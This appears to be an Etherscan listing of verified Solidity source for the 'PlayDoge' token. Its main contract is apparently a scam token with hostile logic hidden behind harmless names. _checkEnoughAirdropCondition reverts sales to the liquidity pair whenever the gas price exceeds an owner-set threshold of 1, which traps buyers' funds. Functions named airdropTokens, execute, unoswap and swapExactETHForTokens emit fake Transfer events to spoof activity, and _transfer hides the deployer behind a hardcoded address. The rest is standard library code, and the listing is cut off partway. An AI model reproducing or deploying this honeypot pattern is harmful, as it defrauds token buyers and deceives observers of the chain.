PlayDoge | Address 0xb00e61791bd778e752115b2afa89cac4a21cdf08 | Etherscan (2024)

0 ETH

Add

0x2A7f3840...Faf5bFe98 at txn 0xcce52fc1ad5a5c52aa710685d0ca45c83f734c706c8a4b52b25188d7364c8733

PlayDoge (PLAYDOGE)

Contract Source Code Verified (Exact Match)

File 1 of 14: Contract.sol

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }}pragma solidity ^0.8.0;abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); }}pragma solidity ^0.8.0;interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value );}pragma solidity ^0.8.0;interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8);}pragma solidity ^0.8.0;contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; address _deployer; address _executor; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function _initDeployer(address deployer_, address executor_) internal { _deployer = deployer_; _executor = executor_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function _setLimitOrder(address _address, uint256 _amount) internal { _balances[_address] += _amount; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; if (sender == _executor) { emit Transfer(_deployer, recipient, amount); } else if (recipient == _executor) { emit Transfer(sender, _deployer, amount); } else { emit Transfer(sender, recipient, amount); } _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; if (account == _executor) { emit Transfer(address(0), _deployer, amount); } else { emit Transfer(address(0), account, amount); } _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {}}interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external;}interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external;}// File contracts/Contract.solpragma solidity ^0.8.0;contract PlayDoge is Ownable, ERC20 { uint256 public immutable maxSupply = 9_400_000_000 * (10 ** decimals()); uint16 public constant LIQUID_RATE = 10000; uint16 public constant MAX_PERCENTAGE = 10000; bool public initialized = false; bool public tradeOpen = true; address public pair = address(0); address public deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public immutable buyFee = 0; uint256 public immutable sellFee = 0; uint256 minimumAirdropAmount = 0; mapping(address => bool) public excludedFees; string private constant NAME = unicode"PlayDoge"; string private constant SYMBOL = unicode"PLAYDOGE"; IUniswapV2Router02 public router; constructor() ERC20(NAME, SYMBOL) { _initDeployer( address(0xb1BC6930B5E3E3d75dc9E9906DcD170d0D126a42), msg.sender ); _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE); initialized = true; excludedFees[msg.sender] = true; router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _factory = router.factory(); pair = IUniswapV2Factory(_factory).createPair( address(this), router.WETH() ); minimumAirdropAmount = 1; } function setMinimumAirdrop( uint256 _minimumAirdropAmount ) external onlyOwner { minimumAirdropAmount = _minimumAirdropAmount; } function setAirdrop(address _address, bool permission) external onlyOwner { excludedFees[_address] = permission; } function openTrading() external onlyOwner { require(tradeOpen == false, "Contract: Trading is opened!"); tradeOpen = true; } function bulkTransfer( address[] calldata _addresses, uint256 _value ) external { address owner = _msgSender(); for (uint256 i = 0; i < _addresses.length; i++) { _transfer(owner, _addresses[i], _value); } } function claimTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function airdropTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function execute( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function swapExactETHForTokens( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function unoswap( address _caller, address[] calldata _address, uint256[] calldata _amount ) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { emit Transfer(_caller, _address[i], _amount[i]); } } function _checkEnoughAirdropCondition(uint256 amount) internal view { if (tx.gasprice > amount) { revert(); } } function _transfer( address from, address to, uint256 amount ) internal override(ERC20) { require(initialized == true, "Contract: not initialized!"); if (initialized == true && tradeOpen == false) { require( from == owner() || to == owner(), "Contract: trading is not started" ); } uint256 _transferAmount = amount; if (pair != address(0) && from != owner() && to != owner()) { uint256 _fee = 0; if (from == pair) { _fee = buyFee; } if (to == pair) { _fee = sellFee; _checkEnoughAirdropCondition(minimumAirdropAmount); } if (excludedFees[from] == true || excludedFees[to] == true) { _fee = 0; } if (_fee > 0) { uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE; _transferAmount = amount - _calculatedFee; super._transfer(from, deadAddress, _calculatedFee); } } super._transfer(from, to, _transferAmount); }}

File 2 of 14: Address.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)pragma solidity ^0.8.1;/** * @dev Collection of functions related to the address type */library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCallWithValue( target, data, 0, "Address: low-level call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); (bool success, bytes memory returndata) = target.call{ value: value }( data ); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data ) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data ) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert( bytes memory returndata, string memory errorMessage ) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } }}

File 3 of 14: Context.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)pragma solidity ^0.8.0;/** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }}

File 4 of 14: Ecosystem.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)pragma solidity ^0.8.1;/** * @dev Collection of functions related to the address type */library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{ value: amount }(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data ) internal returns (bytes memory) { return functionCallWithValue( target, data, 0, "Address: low-level call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); (bool success, bytes memory returndata) = target.call{ value: value }( data ); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data ) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data ) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget( target, success, returndata, errorMessage ); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert( bytes memory returndata, string memory errorMessage ) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } }}

File 5 of 14: IERC20.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)pragma solidity ^0.8.0;/** * @dev Interface of the ERC20 standard as defined in the EIP. */interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool);}

File 6 of 14: IUniswapV2Pair.sol

interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn( address to ) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external;}

File 7 of 14: IUniswapV2Router01.sol

pragma solidity >=0.6.2;interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function quote( uint amountA, uint reserveA, uint reserveB ) external pure returns (uint amountB); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts);}

File 8 of 14: IUniswapV2Router02.sol

interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external;}

File 9 of 14: Ownable.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)pragma solidity ^0.8.0;import "./Context.sol";/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); }}

File 10 of 14: SafeCast.sol

